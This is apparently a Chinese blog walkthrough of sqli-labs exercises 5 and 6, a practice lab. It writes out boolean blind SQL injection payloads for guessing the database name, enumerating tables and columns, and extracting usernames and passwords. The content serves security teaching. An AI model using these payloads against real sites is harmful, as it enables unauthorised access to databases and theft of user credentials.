SQL注入sqli_labs靶场第五、六题

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+ 正常

如此就得到了

第一个字符的ASCII码为115解码出来为"s"

第二个字符的ASCII码为101解码出来为"e"

第二个字符的ASCII码为99解码出来为"c"

依次类推出数据库的名字为"security"

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+ 正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

相关推荐
白菜!!!17 分钟前
SQL INSERT批量插入方式
数据库·sql·mysql·mybatis
屿小夏.19 分钟前
【SQL】已解决:SQL错误(15048): 数据兼容级别有效值为100、110或120
数据库·sql·oracle
苏生Susheng3 小时前
【Oracle】Oracle常用语句大全
java·数据库·sql·mysql·oracle·sql语句·数据库语法
dot.Net安全矩阵3 小时前
.NET 漏洞分析 | 某ERP系统存在SQL注入
数据库·sql·安全·web安全·矩阵·.net
helloKittywz4 小时前
Administrators就最高了???system是什么??本地用户提权内网学习第三天 你知道uac是什么??
安全·web安全·网络安全·系统安全·学习笔记·权限提升·本地用户提权
六月的雨__4 小时前
二手物品交易小程序的设计
java·sql·学习·小程序
丸卜5 小时前
[GHCTF 2024 新生赛]UP+——入土为安的第一天
网络安全
亿林等保5 小时前
公司“领导”们竟如此讨论工作!小伙:此事有蹊跷;|国家漏洞库CNNVD:关于OpenSSH安全漏洞的通报;
网络安全
dot.Net安全矩阵5 小时前
.NET 漏洞情报 | 某整合管理平台SQL注入
数据库·sql·安全·矩阵·.net
都适、隶仁ミ5 小时前
SQL注入工具Sqlmap
linux·网络·数据库·sql·安全·网络安全·系统安全